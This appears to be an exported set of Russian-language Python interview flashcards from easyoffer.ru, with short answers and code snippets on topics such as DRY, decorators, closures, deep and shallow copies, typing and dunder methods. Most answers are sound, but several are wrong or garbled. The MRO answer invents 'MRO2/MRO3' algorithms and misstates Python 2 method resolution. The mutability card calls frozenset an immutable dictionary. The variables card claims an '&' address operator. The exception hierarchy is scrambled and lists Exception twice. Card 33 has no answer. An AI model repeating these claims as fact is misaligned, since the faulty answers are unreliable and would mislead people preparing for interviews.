  3. Улучшение отзывчивости приложения: Использование позволяет сделать ваше приложение более отзывчивым, так как оно не будет блокироваться при выполнении долгих операций I/O. Пользователи будут получать быстрый ответ от приложения даже в случае выполнения долгих операций.
  4. Экономия ресурсов: Позволяют более эффективно использовать ресурсы сервера, так как они позволяют обрабатывать большое количество запросов с использованием меньшего количества потоков или процессов.

Примеры задач, для которых подходят асинхронные операции, включают в себя веб-серверы, API, обработку данных в реальном времени, микросервисы, чаты и мессенджеры, а также любые приложения, работающие с большим объемом асинхронных запросов и операций I/O.

https://easyoffer.ru/question/234

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
23
Q

Что знаешь о принципах программирования DRY

6%

A

DRY (Don’t Repeat Yourself) - это принцип, который подразумевает, что каждая часть знаний или функциональности в программе должна иметь единственное, безошибочное и авторитетное представление в рамках системы. Он бращает внимание на избегание дублирования кода, данных и концепций в программном коде.

Основные идеи, связанные с этим принципом:

  1. Избегайте дублирования кода: Дублирование кода увеличивает сложность кодовой базы, делает ее труднее в поддержке и изменении. Поэтому следует стараться избегать повторения одинаковых или похожих кусков кода.
  2. Разделение кода на модули и функции: Часто используемый код должен быть вынесен в отдельные функции или модули, чтобы он мог быть повторно использован в различных частях программы.
  3. Использование абстракций и шаблонов проектирования: Использование абстракций и шаблонов проектирования позволяет создавать универсальные решения, которые можно использовать повторно в различных контекстах.
  4. Управление данными: Дублирование данных также может привести к проблемам согласованности и целостности. Поэтому следует стремиться к хранению данных в единственном источнике и использованию ссылок на него в других частях программы.

Преимущества применения этого принципа:

  • Уменьшение объема кода: Избегание дублирования кода приводит к уменьшению объема кода, что облегчает его понимание и поддержку.
  • Улучшение читаемости кода: Код становится более понятным и читаемым, так как повторяющиеся фрагменты убираются в отдельные функции или модули.
  • Облегчение обслуживания: Изменения в программе требуют меньше усилий, так как они вносятся в единственном месте, а не в нескольких копиях кода.

Принцип DRY является одним из основных принципов разработки ПО и помогает создавать более эффективный, гибкий и поддерживаемый код.

https://easyoffer.ru/question/495

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
24
Q

Какие коллекции из модуля collections знаешь

6%

A

Модуль collections предоставляет различные специализированные коллекции, которые расширяют функциональность встроенных, таких как списки, словари, множества и др. Некоторые из наиболее часто используемых коллекций из этого модуля:

  1. namedtuple: Создает именованные кортежи, которые представляют собой легковесную альтернативу определению собственных классов для представления данных.
  2. deque: Это двусторонняя очередь (double-ended queue), которая предоставляет эффективные операции добавления и удаления элементов как в начале, так и в конце коллекции.
  3. Counter: Это подсчетчик элементов, который подсчитывает количество вхождений каждого элемента в последовательность и предоставляет удобный доступ к этим значениям.
  4. OrderedDict: Это словарь, который помнит порядок вставки элементов, что полезно при итерации и выводе результатов в определенном порядке.
  5. defaultdict: Это словарь, который автоматически создает значения по умолчанию для отсутствующих ключей при первом обращении к ним.
  6. ChainMap: Представляет собой объединение нескольких словарей в один и обеспечивает удобный способ просмотра и обновления значений в этих словарях.
  7. UserDict: Это базовый класс, который позволяет создавать пользовательские классы словарей, наследуясь от него и переопределяя методы словаря.
  8. UserList: Аналогично UserDict, но для списков.
  9. UserString: Аналогично UserDict, но для строк.

Эти коллекции предоставляют дополнительные возможности и улучшают функциональность базовых коллекций, делая их более удобными и эффективными для использования в различных сценариях.

https://easyoffer.ru/question/805

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
25
Q

Что знаешь о итерируемых типах данных

6%

A

Итерируемые типы данных представляют собой объекты, которые могут быть перебраны поэлементно с использованием цикла или функции, такой как for или while. Это включает в себя типы данных, которые содержат последовательности элементов, такие как списки, строки, кортежи, множества и словари, а также другие объекты, которые реализуют протокол итератора.

Вот основные характеристики итерируемых типов данных:

  1. Поддержка итерации: Предоставляют возможность перебора элементов с использованием циклов или функций итерации, таких как for и while.
  2. Использование встроенной функции iter(): Функция iter() может быть использована для создания итератора из итерируемого объекта. Он предоставляет метод \_\_next\_\_(), который возвращает следующий элемент из итерируемого объекта по требованию.
  3. Использование встроенной функции next(): Функция next() может быть использована для получения следующего элемента из итератора. Когда все элементы итерируемого объекта были извлечены, вызывается исключение StopIteration.
  4. Поддержка для циклов for: Такие объекты могут быть использованы в цикле for для последовательного перебора элементов.
  5. Использование встроенных методов: Также предоставляют встроенные методы для работы с элементами, такие как методы списков (append(), extend(), remove(), и т. д.).

Итерируемые типы данных являются фундаментальными для работы с коллекциями элементов и широко используются в различных аспектах программирования, включая обработку данных, манипулирование строками, работу с файлами, а также в различных структурах данных и алгоритмах.

https://easyoffer.ru/question/806

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
26
Q

Какие способы есть написать свой генератор

6%

A

Можно через Выражение генератор

Или через Функцию генератор используя yield

https://easyoffer.ru/question/807

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
27
Q

В чем разница между MRO2 и MRO3

6%

A

В том, что с python3 все классы начали наследоваться от класса object.

MRO2 (Method Resolution Order 2) и MRO3 (Method Resolution Order 3) являются алгоритмами разрешения порядка вызова методов в множественном наследовании. Эти алгоритмы используются для определения того, какой метод будет вызван при обращении к методу экземпляра класса, когда этот метод присутствует в нескольких классах, связанных цепочкой наследования.

Основное отличие между MRO2 и MRO3 заключается в том, как они обрабатывают классы, которые имеют одинаковые имена методов в цепочке наследования.

  1. MRO2 (Python 2): В Python 2 использовался алгоритм MRO2, который был основан на алгоритме C3 Linearization. Он приводил к проблемам с алгоритмическими рекурсивными зависимостями в некоторых случаях множественного наследования, особенно когда классы имели сложные структуры наследования.
  2. MRO3 (Python 3): В Python 3 был заменен на более усовершенствованный алгоритм MRO3, который является модифицированным алгоритмом C3 Linearization. Он решает проблемы, связанные с амбигуитетом при разрешении порядка вызова методов в множественном наследовании и обеспечивает более предсказуемое поведение в таких случаях.

Основным преимуществом MRO3 является его способность разрешать конфликты имен методов в множественном наследовании более точно и надежно, что упрощает и смягчает проблемы, связанные с неоднозначностью при определении порядка вызова методов. Это позволяет разработчикам писать более структурированный и надежный код с использованием множественного наследования.

https://easyoffer.ru/question/808

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
28
Q

Как на уровне Python реализован декоратор

6%

A

Декораторы реализованы как функции, которые принимают другую функцию в качестве аргумента и возвращают новую функцию. Это позволяет изменять поведение или добавлять функциональность существующим без изменения их исходного кода. Вот пример простого декоратора:

def my_decorator(func):
    def wrapper():
        print("Дополнительный код перед вызовом функции")
        func()
        print("Дополнительный код после вызова функции")
    return wrapper

@my_decorator
def say_hello():
    print("Привет, мир!")

say_hello()

В этом примере my_decorator является декоратором, который принимает функцию func и возвращает функцию wrapper, которая содержит дополнительный код перед и после вызова функции func. Затем мы используем декоратор @my_decorator, чтобы применить его к функции say_hello.

Это простейший пример декоратора. В более сложных случаях декораторы могут принимать аргументы и использоваться для различных целей, таких как кеширование, логирование, обработка исключений и т. д. Декораторы широко используются и являются мощным механизмом для добавления функциональности к коду без его модификации.

https://easyoffer.ru/question/809

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
29
Q

Как бы сделал все значения списка уникальными

6%

A

Можно сделать все значения списка уникальными, преобразовав его в множество (set) и затем обратно в список. Множество автоматически удаляет дубликаты, оставляя только уникальные элементы. Вот как это можно сделать:

my_list = [1, 2, 3, 4, 2, 3, 5]

unique_list = list(set(my_list))

print(unique_list)  # Вывод: [1, 2, 3, 4, 5]

В этом примере set(my_list) создает множество уникальных значений из списка my_list, а list(set(my_list)) преобразует это множество обратно в список. Как результат, мы получаем список, содержащий только уникальные значения из исходного списка.

Вариант со множеством. Не гарантирует порядок элементов. Порядок сохраняется только для маленьких списков.

list(set([1, 2, 2, 2, 3, 3, 1]))
>>> [1, 2, 3]

Вариант с OrderedDict. Гарантирует порядок элементов.

>>> from collections import OrderedDict
>>> list(OrderedDict.fromkeys([1, 2, 2, 2, 3, 3, 1]))
[1, 2, 3]

Вариант с циклом. Медленно, но гарантирует порядок. Подходит, если элементы нельзя помещать внутрь множества (например, словари).

res = []
for x in [1, 2, 2, 2, 3, 3, 1]:
    if x not in res:
        res.append(x)
>>> [1, 2, 3]

https://easyoffer.ru/question/810

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
30
Q

Что такое мутабельные и иммутабельные типы данных

6%

A

Мутабельные (изменяемые) и иммутабельные (неизменяемые) типы данных определяются по их способности изменяться после создания.

  1. Иммутабельные типы данных:

Не могут быть изменены после создания.
Если вы пытаетесь изменить значение иммутабельного объекта, на самом деле создается новый объект с измененным значением.
Примеры таких данных включают числа (int, float), строки (str), кортежи (tuple), неизменяемые множества (frozenset) и неизменяемые словари (frozenset).
Пример:
```
x = 5
x += 1 # Создается новый объект с новым значением
~~~
2. Мутабельные типы данных:

Могут быть изменены после создания.
Вы можете изменять значение мутабельного объекта, не создавая новый объект.
Примеры таких данных включают списки (list), множества (set), словари (dict) и пользовательские объекты.
Пример:
```
my_list = [1, 2, 3]
my_list.append(4) # Изменяется существующий список
~~~
Использование иммутабельных типов данных обычно приводит к более безопасному и предсказуемому поведению программы, так как они не могут быть случайно изменены в процессе выполнения программы. Однако мутабельные типы данных часто более эффективны в использовании, особенно при работе с большими объемами данных, поскольку они позволяют изменять значение объекта без создания нового экземпляра.

https://easyoffer.ru/question/811

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
31
Q

Что такое замыкания

6%

A

Синтаксически это выглядит как функция, находящаяся целиком в теле другой функции. При этом вложенная внутренняя функция содержит ссылки на локальные переменные внешней функции. Каждый раз при выполнении внешней функции происходит создание нового экземпляра внутренней функции, с новыми ссылками на переменные внешней.

Замыкание (closure) в программировании — это функция, которая ссылается на свободные переменные в своей области видимости из внешней области видимости, в которой она была создана, даже если эта внешняя область видимости уже завершила свою работу.

В более простых терминах, замыкание — это функция, которая запоминает значение переменных из той области видимости, в которой она была определена, и продолжает использовать их, даже если эта область видимости уже не активна. Они часто используются для создания функций-фабрик, где каждый вызов такой фабрики создает новое замыкание с доступом к различным контекстам.

Пример:

def outer_function(x):
    def inner_function(y):
        return x + y
    return inner_function

closure = outer_function(10)  # Создаем замыкание с x = 10

print(closure(5))  # Вывод: 15

В этом примере inner_function является замыканием, потому что она ссылается на переменную x из внешней функции outer_function, даже после того, как outer_function завершила свою работу. Каждый раз, когда мы вызываем closure(5), мы получаем результат сложения x (который был 10) и y (который был передан в замыкание, равный 5), что дает нам 15.

Замыкания являются мощным и полезным инструментом, который может быть использован для создания гибких и эффективных решений в различных ситуациях.

https://easyoffer.ru/question/812

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
32
Q

Что такое модуль

6%

A

Модуль – функционально законченный фрагмент программы, оформленный в виде отдельного файла с исходным кодом или поименованной непрерывной её части. Модули позволяют разбивать сложные задачи на более мелкие в соответствии с принципом модульности. Файл, который содержит исходный код на языке Python, является модулем. Модули могут объединяться в пакеты и, далее, в библиотеки.

Модуль — это файл с расширением .py, который содержит код. Он может содержать переменные, функции и классы, которые можно использовать в других программах или модулях.

Модули используются для организации кода, упрощения его поддержки и повторного использования. Они позволяют разбить код на отдельные логические блоки, что делает его более структурированным и управляемым.

Пример:

# Модуль example_module.py

def greet(name):
    return f"Привет, {name}!"

def add(x, y):
    return x + y

class Person:
    def \_\_init\_\_(self, name):
        self.name = name

    def say_hello(self):
        return f"Привет, меня зовут {self.name}"

Этот код определяет модуль с именем example_module.py, который содержит функции greet() и add(), а также класс Person. После того, как этот модуль был создан, его можно импортировать в другие скрипты с помощью ключевого слова import:

import example_module

print(example_module.greet("Миша"))  # Вывод: Привет, Миша!
print(example_module.add(2, 3))       # Вывод: 5

person = example_module.Person("Анна")
print(person.say_hello())             # Вывод: Привет, меня зовут Анна

Модули представляют собой важный механизм организации кода и его повторного использования, а также обеспечивают удобство и поддерживаемость проекта.

https://easyoffer.ru/question/813

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
33
Q

Что такое args6

A

https://easyoffer.ru/question/814

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
34
Q

Что такое kwargs

6%

A

Термин “kwargs” обычно используется для обозначения необязательного параметра функции, который позволяет передавать произвольное количество именованных аргументов в функцию. Он является соглашением об именовании и может быть заменен на любое другое имя, но часто используется именно “kwargs” для означения этого параметра.

Этот термин представляет собой словарь (dictionary) аргументов, переданных в функцию, где ключи словаря представляют собой имена аргументов, а значения - их значения. Поскольку функция может принимать произвольное количество именованных аргументов, он позволяет обрабатывать их динамически.

Пример использования:

def print_info(**kwargs):
    for key, value in kwargs.items():
        print(f"{key}: {value}")

print_info(name="John", age=30, city="New York")

В этом примере **kwargs позволяет функции print_info принимать любое количество именованных аргументов, которые будут представлены в виде словаря. Функция затем проходит по всем элементам словаря и выводит их ключи и значения.

https://easyoffer.ru/question/815

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
35
Q

Что такое аннотации типов

6%

A

Аннотации типов- это синтаксическая особенность, которая позволяет указывать типы переменных, аргументов функций и возвращаемых значений функций в коде. Они не влияют на выполнение программы, но могут быть использованы в качестве средства документирования кода и инструмента статического анализа (например, с помощью инструментов статической типизации, таких как mypy).

Пример использования:

def add(x: int, y: int) -> int:
    return x + y

result: int = add(5, 3)
print(result)  # Вывод: 8

В этом примере x: int и y: int являются аннотациями типов для аргументов функции add, указывающими, что они должны быть целыми числами. Аннотация -> int указывает, что функция add должна возвращать целое число. Аннотации типов не являются обязательными. Однако они могут быть полезны для повышения читаемости кода и облегчения его анализа.

https://easyoffer.ru/question/816

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
36
Q

Что такое глубокая копия

6%

A

Глубокая копия (deep copy)— это создание копии объекта, включая все вложенные объекты и их содержимое. Во время него создается новый объект, который полностью копирует структуру и значения всех вложенных объектов, включая вложенные списки, словари, множества, кортежи и так далее.

Она особенно полезна, когда у вас есть составной объект (например, список объектов или словарь объектов), и вы хотите создать его полную копию, чтобы избежать воздействия изменений в исходном объекте на его копию и наоборот.

Для создания глубокой копии можно использовать модуль copy и его функцию deepcopy. Пример:

import copy

original_list = [1, [2, 3], 4]
copied_list = copy.deepcopy(original_list)

original_list[1][0] = 5  # Изменение исходного списка

print(original_list)  # Вывод: [1, [5, 3], 4]
print(copied_list)     # Вывод: [1, [2, 3], 4]

В этом примере deepcopy создает полную глубокую копию original_list в copied_list. Когда мы изменяем значение элемента вложенного списка в original_list, это не отражается в copied_list, так как они ссылаются на разные объекты в памяти.

https://easyoffer.ru/question/817

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
37
Q

Что такое поверхностная копия

6%

A

Поверхностная копия (shallow copy) — это создание копии объекта, но только самого верхнего уровня его структуры данных. В отличие от глубокой копии, поверхностная копия не копирует вложенные объекты, а только ссылается на них. Это означает, что если изменить вложенный объект в исходном объекте, то эти изменения будут отражены и в его копии, так как оба объекта будут ссылаться на одни и те же вложенные объекты.

Для создания данной копии можно использовать модуль copy и его функцию copy. Пример:

import copy

original_list = [1, [2, 3], 4]
copied_list = copy.copy(original_list)

original_list[1][0] = 5  # Изменение исходного списка

print(original_list)  # Вывод: [1, [5, 3], 4]
print(copied_list)     # Вывод: [1, [5, 3], 4]

В этом примере copy создает поверхностную копию original_list в copied_list. При изменении значения элемента вложенного списка в original_list, эти изменения также отражаются в copied_list, так как оба объекта ссылаются на один и тот же вложенный список [2, 3].

https://easyoffer.ru/question/818

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
38
Q

Что такое итерируемый объект

6%

A

Итерируемый объект — это объект, который может быть перебран поэлементно с помощью цикла for или других методов, таких как map(), filter(), sum(), join() и т. д. Он предоставляет возможность последовательно перебирать свои элементы без явного указания индексов.

Объект считается итерируемым, если он реализует метод \_\_iter\_\_(), который возвращает итератор. Итератором является объект, который реализует метод \_\_next\_\_(), который возвращает следующий элемент из коллекции. При достижении конца коллекции метод \_\_next\_\_() вызывает исключение StopIteration, чтобы указать на завершение итерации.

Множество типов данных и структур данных являются итерируемыми, включая списки (list), кортежи (tuple), строки (str), множества (set), словари (dict) и другие.

Пример итерации по списку:

my_list = [1, 2, 3, 4, 5]

for item in my_list:
    print(item)

Здесь переменная my_list является итерируемым объектом, и мы можем перебирать ее элементы в цикле for, поочередно присваивая каждый элемент переменной item. Когда все элементы исчерпаны, цикл завершается.

https://easyoffer.ru/question/819

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
39
Q

В чем разница между copy() и deepcopy()6

6%

A

Глубокая копия deepcopy() создает новую и отдельную копию всего объекта или списка со своим уникальным адресом памяти. Это означает, что любые изменения, внесенные вами в новую копию объекта или списка, не будут отражаться в исходной. Этот процесс происходит следующим образом: сначала создается новый список или объект, а затем рекурсивно копируются все элементы из исходного в новый.

Поверхностное копирование copy() также создает отдельный новый объект или список, но вместо копирования дочерних элементов в новый объект оно просто копирует ссылки на их адреса памяти. Следовательно, если вы сделаете изменение в исходном объекте, оно будет отражено в скопированном объекте, и наоборот. Короче говоря, обе копии зависят друг от друга.

https://easyoffer.ru/question/820

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
40
Q

В чем разница между процессом и потоком

6%

A

Процессы и потоки - это два основных понятия, используемые в многозадачных системах, таких как операционные системы. Они представляют собой способы организации выполнения программного кода. Вот основные различия между ними:

  1. Процесс:

Представляет собой отдельный экземпляр программы, запущенный в оперативной памяти компьютера.
У каждого процесса есть собственное адресное пространство памяти, которое оно использует для выполнения своего кода и хранения своих данных.
Являются изолированными друг от друга, что означает, что изменения, сделанные в одном процессе, не влияют на другие процессы.
Обычно создаются операционной системой при запуске новой программы.

  1. Поток:

Представляет собой легковесный подпроцесс внутри процесса.
Разделяют общее адресное пространство памяти с другими потоками в рамках одного процесса.
Имеют свой собственный стек вызовов, но разделяют все остальные ресурсы процесса, такие как файловые дескрипторы, переменные и т. д.
Могут выполняться параллельно в рамках одного процесса, что позволяет использовать многопоточное программирование для увеличения производительности и ресурсоэффективности.
Основное различие между процессом и потоком заключается в том, что процесс является отдельным исполняемым экземпляром программы с собственным адресным пространством памяти, а поток представляет собой легковесный подпроцесс, который работает в рамках процесса и использует общие ресурсы этого процесса.

https://easyoffer.ru/question/821

41
Q

Как устроены переменные в Python

6%

A

Переменные являются именованными областями памяти, в которых хранятся значения данных. Устройство переменных обычно содержат следующие элементы:

  1. Имя переменной: Это идентификатор, который используется для обращения к значению данных в памяти.
  2. Значение данных: Это фактическое значение, которое хранится в переменной. Может быть целое число, строка, список, объект и так далее, в зависимости от типа данных, который поддерживает язык программирования.
  3. Адрес в памяти: Это место в памяти компьютера, где хранится значение данных переменной. Иногда можно получить адрес переменной с помощью оператора &.
  4. Тип данных: Это информация о том, какого типа данных содержится в переменной. Тип данных определяет, какие операции могут быть выполнены с переменной и как она хранится в памяти.
  5. Область видимости: Это часть программы, в которой переменная может быть использована. Обычно переменные имеют локальную область видимости в пределах блока кода, в котором они были определены, но также могут иметь глобальную область видимости, доступную во всей программе.
  6. Жизненный цикл: Это период времени, в течение которого переменная существует в памяти. Переменные могут быть созданы, использованы и уничтожены в разное время в зависимости от их области видимости и действий программы.

Обычно переменные управляются средой выполнения языка программирования, которая отвечает за выделение и освобождение памяти, управление областями видимости и обработку других аспектов жизненного цикла переменных.

https://easyoffer.ru/question/822

42
Q

Какие декораторы, которые есть в стандартной библиотеке знаешь

6%

A

В стандартной библиотеке есть несколько встроенных декораторов, которые используются для различных целей. Вот некоторые из наиболее часто используемых:

  1. @staticmethod: Используется для объявления статического метода в классе. Они не привязаны к экземпляру класса и могут быть вызваны непосредственно через класс или через экземпляр.
  2. @classmethod: Используется для объявления метода класса. Принимает класс (вместо экземпляра) как первый аргумент и может быть использован для работы с атрибутами класса.
  3. @property: Используется для создания свойства (property) в классе. Это позволяет объявить метод как атрибут класса, который может быть доступен как атрибут экземпляра класса, но в фоне вызывает метод для получения или установки значения.
  4. @abstractmethod: Используется в абстрактных классах для указания метода, который должен быть реализован в подклассах. Если подкласс не реализует этот метод, при попытке создания экземпляра подкласса возникнет ошибка.
  5. @functools.wraps: Используется для копирования метаданных (например, имени функции, документации) из одной функции в другую. Это полезно, когда вы создаете декораторы, которые оборачивают другие функции.
  6. @lru_cache: Используется для кэширования результатов функции с использованием алгоритма “Least Recently Used” (LRU). Это помогает улучшить производительность функций с дорогостоящими вычислениями путем сохранения результатов предыдущих вызовов функции.

Это лишь несколько примеров декораторов, доступных в стандартной библиотеке. Но существует множество других декораторов, реализованных в сторонних библиотеках и фреймворках, которые предоставляют дополнительные возможности и функциональность.

https://easyoffer.ru/question/823

43
Q

Расскажи про иерархию исключений Python

6%

A

Иерархия исключений представляет собой организацию встроенных исключений в иерархическую структуру, которая облегчает обработку ошибок и исключительных ситуаций в программе. Все они наследуются от базового класса BaseException. Ниже приведена общая иерархия исключений:

  1. BaseException
  • Exception
  • ArithmeticError
  • ZeroDivisionError: Вызывается при делении на ноль.
  • OverflowError: Вызывается, когда результат арифметической операции слишком велик для представления.
  • FloatingPointError: Вызывается при выполнении недопустимой арифметической операции с плавающей точкой.
  • AttributeError: Вызывается при попытке доступа к несуществующему атрибуту объекта.
  • EOFError: Вызывается, когда достигнут конец файла.
  • IOError: Вызывается при возникновении ошибок ввода-вывода.
  • ImportError: Вызывается при неудачной попытке импорта модуля.
  • KeyError: Вызывается при попытке доступа к несуществующему ключу словаря.
  • TypeError: Вызывается при попытке выполнения операции с объектом несовместимого типа.
  • ValueError: Вызывается, когда функция получает аргумент правильного типа, но недопустимого значения.
  • RuntimeError: Вызывается в случае внутренней ошибки интерпретатора.
  • StopIteration: Вызывается при достижении конца итератора в операциях итерации.
  • KeyboardInterrupt: Вызывается при нажатии пользователем комбинации клавиш прерывания (обычно Ctrl+C).
  1. SystemExit: Вызывается при завершении программы с помощью функции sys.exit().
  2. KeyboardInterrupt: Вызывается при прерывании программы пользователем (обычно Ctrl+C).
  3. GeneratorExit: Вызывается при закрытии генератора.
  4. Exception: Базовый класс для всех встроенных исключений.

Использование исключений позволяет ловить и обрабатывать ошибки и исключения в программе, что делает код более надежным и стабильным. Вы можете использовать блоки try, except, else и finally для обработки исключений.

https://easyoffer.ru/question/824

44
Q

Какая в Python типизация, статическая или динамичная

6%

A

Динамическая, строгая, неявная.

Типизация является динамической, что означает, что типы переменных определяются во время выполнения программы, а не на этапе компиляции. Другими словами, не требуется явно указывать тип переменной при ее объявлении; тип переменной определяется автоматически во время выполнения на основе ее значения.

Пример динамической типизации:

x = 10         # x является целым числом (int)
x = "Hello"    # x теперь является строкой (str)
x = [1, 2, 3]  # x теперь является списком (list)

Это означает, что переменная x может содержать значения разных типов в разные моменты времени выполнения программы.

В статической типизации, наоборот, типы переменных должны быть объявлены явно при их объявлении и не могут изменяться во время выполнения программы. Это делает статическую типизацию более строгой и обычно помогает предотвратить некоторые типичные ошибки в коде на этапе компиляции.

https://easyoffer.ru/question/825

45
Q

Что такое динамическая типизация

6%

A

Динамическая типизация - это подход к типизации, при котором типы переменных определяются во время выполнения программы, а не на этапе компиляции. С динамической типизацией тип переменной связывается с данными во время выполнения на основе их значения и контекста использования. Это означает, что переменная может содержать данные любого типа, и ее тип может изменяться в процессе выполнения программы.

Пример динамической типизации:

x = 10         # x является целым числом (int)
x = "Hello"    # x теперь является строкой (str)
x = [1, 2, 3]  # x теперь является списком (list)

В этом примере переменная x сначала содержит целое число, затем строку, а затем список. Тип переменной определяется автоматически во время выполнения программы на основе значения, присвоенного переменной.

Преимущества динамической типизации включают гибкость и удобство использования. Однако это также может привести к потенциальным ошибкам во время выполнения, если переменная содержит неожиданные данные, и затрудняет статический анализ кода на этапе компиляции.

https://easyoffer.ru/question/826

46
Q

Что такое чистая функция

6%

A

Чистая функция - это функция, которая обладает двумя основными свойствами:

  1. Использует только свои аргументы: Не имеет побочных эффектов и не зависит от состояния программы вне своих аргументов. Это означает, что результат выполнения функции зависит только от ее входных параметров, и она не взаимодействует с глобальными переменными или состоянием окружения.
  2. Возвращает одинаковый результат для одних и тех же входных данных: Для одних и тех же входных данных всегда возвращает один и тот же результат, без побочных эффектов.

Пример чистой функции:

def add(a, b):
    return a + b

Функция add() является чистой, потому что она принимает два аргумента a и b, и возвращает результат сложения этих аргументов. Она не изменяет глобальные переменные, не выполняет ввод-вывод операций и не зависит от состояния окружающей среды.

Преимущества чистых функций включают упрощение отладки, тестирования и понимания кода, а также уменьшение побочных эффектов и улучшение модульности программы. Они также облегчают параллельное и конкурентное программирование, поскольку их поведение предсказуемо и не зависит от контекста выполнения.

https://easyoffer.ru/question/827

47
Q

Расскажи о парадигмах в языке Python

6%

A

Применяются различные парадигмы, каждая из которых предоставляет свои собственные концепции и подходы к написанию кода. Ниже приведены основные парадигмы, которые широко используются:

  1. Процедурное программирование: Программа разбивается на набор функций, которые манипулируют данными. Основной упор делается на процедуры, или функции, которые могут принимать аргументы и возвращать значения.
  2. Объектно-ориентированное программирование (ООП): ООП является одним из ключевых аспектов. Оно основано на использовании классов и объектов. Классы определяют структуру данных и поведение объектов, а объекты являются экземплярами этих классов.
  3. Функциональное программирование: Оно поддерживается за счет функций первого класса, замыканий, анонимных функций (лямбда-функций) и функций высшего порядка. Это позволяет использовать функции как аргументы других функций и возвращать функции в качестве результатов.
  4. Императивное программирование: Это включает в себя использование операторов присваивания, циклов, условных операторов и т. д.
  5. Декларативное программирование: Здесь программа описывает желаемый результат, а не последовательность шагов для его достижения. Примером декларативного подхода являются генераторы списков и выражения списков.
  6. Реактивное программирование: Здесь акцент делается на потоке данных и реакции на изменения. Оно может быть реализовано с использованием библиотек, таких как RxPy.
  7. Метапрограммирование: Метапрограммирование позволяет программам изменять свою структуру или поведение во время выполнения. Это включает в себя использование декораторов, метаклассов, атрибутов класса и других механизмов метапрограммирования.

Это лишь несколько примеров парадигм программирования, которые могут быть использованы. Комбинация этих парадигм позволяет создавать гибкие и выразительные программы, которые могут эффективно решать различные задачи.

https://easyoffer.ru/question/828

48
Q

Что такое dunder методы

6%

A

“Dunder” методы (сокращение от “double underscore”, или двойное подчеркивание) - это специальные методы, которые имеют двойное подчеркивание в начале и в конце своего имени. Они также называются магическими методами или специальными методами.

Эти методы используются для реализации различных операций и функциональностей в объектах, таких как перегрузка операторов, создание контекстных менеджеров, поддержка итераций и многое другое. Их спользование позволяет объектам вести себя подобно встроенным типам данных и интегрироваться в стандартные операции языка.

Некоторые примеры популярных dunder методов:

  1. \_\_init\_\_: Используется для инициализации нового объекта после его создания.
  2. \_\_str\_\_ и \_\_repr\_\_: Определяют строковое представление объекта для функции str() и repr() соответственно.
  3. \_\_len\_\_: Возвращает длину объекта при вызове функции len().
  4. \_\_getitem\_\_ и \_\_setitem\_\_: Позволяют объекту быть доступным как коллекция (индексируемый и/или итерируемый).
  5. \_\_iter\_\_ и \_\_next\_\_: Используются для поддержки итераций в объектах.
  6. \_\_enter\_\_ и \_\_exit\_\_: Позволяют создавать контекстные менеджеры с помощью конструкции with.
  7. \_\_add\_\_, \_\_sub\_\_, \_\_mul\_\_, и т.д.: Позволяют перегрузить арифметические операторы +, -, * и т.д.

Использование dunder методов позволяет определять поведение пользовательских объектов в соответствии с ожиданиями, что делает их более гибкими и полезными.

https://easyoffer.ru/question/829

49
Q

Зачем нужны декораторы

6%

A

Декоратор в широком смысле - паттерн проектирования, когда один объект изменяет поведение другого. В Питоне декоратор, как правило, это функция A, которая принимает функцию B и возвращает функцию C. При этом функция C задействует в себе функцию B.

Задекорировать функцию значит заменить ее на результат работы декоратора.

Декораторы — позволяют модифицировать поведение функций или методов без изменения их исходного кода. Предоставляют простой способ применения одних и тех же изменений к нескольким функциям, обеспечивая таким образом высокую степень повторного использования кода. Вот причины почему декораторы полезны в разработке:

  1. Улучшение читаемости и поддержки кода
    Помогают сделать код более читаемым и легким для понимания. Они позволяют явно указать, что поведение функции модифицируется в определенный момент.
  2. Повторное использование кода, можно определить эту логику в декораторе и применить его ко всем этим функциям.
  3. Модификация поведения функций
    Предоставляют удобный способ добавления или изменения функциональности функций без изменения их исходного кода. Это особенно полезно, когда вы работаете с кодом, который не может или не должен быть изменен напрямую.
  4. Внедрение аспектно-ориентированного программирования(АОП)
    Могут использоваться для реализации аспектов в АОП. АОП позволяет разделять аспекты программы, такие как логирование, от основной бизнес-логики.
  5. Регистрация функций
    Могут использоваться для автоматической регистрации функций при их определении. Это полезно в сценариях, когда необходимо собрать список функций, соответствующих определенному критерию.

Пример:

def log_decorator(func):
    def wrapper(*args, **kwargs):
        print(f"Вызов функции: {func.name} с аргументами {args} и {kwargs}")
        result = func(*args, **kwargs)
        print(f"Функция {func.name} завершилась с результатом {result}")
        return result
    return wrapper

@log_decorator
def add(x, y):
    """Складывает два числа."""
    return x + y

Вызов декорированной функции
add(5, 3)

В этом примере log_decorator добавляет логирование перед и после вызова функции add, позволяя отслеживать ее без изменения исходного кода функции.

https://easyoffer.ru/question/830

50
Q

Что такое self

6%

A

self представляет экземпляр объекта текущего класса. Позволяет обращаться к атрибутам и методам данного экземпляра внутри класса. Это ключевой аспект объектно-ориентированного программирования, позволяющий методам взаимодействовать с данными объекта, к которому они принадлежат.

Почему self необходим

Доступ к атрибутам и методам экземпляра: Используется внутри методов класса для доступа или модификации атрибутов и вызова других методов экземпляра. Позволяет каждому экземпляру класса иметь собственные данные и поведение.
Определение методов экземпляра: Здесь первый параметр обычно называется self. Это соглашение, а не строгое правило, но его следует соблюдать для согласованности и читаемости кода.
Вот пример self:

class MyClass:
    def \_\_init\_\_(self, value):
        # Использование self для установки атрибута экземпляра
        self.my_attribute = value

    def show_value(self):
        # Использование self для доступа к атрибуту экземпляра
        print(self.my_attribute)

    def update_value(self, new_value):
        # Использование self для изменения атрибута экземпляра
        self.my_attribute = new_value

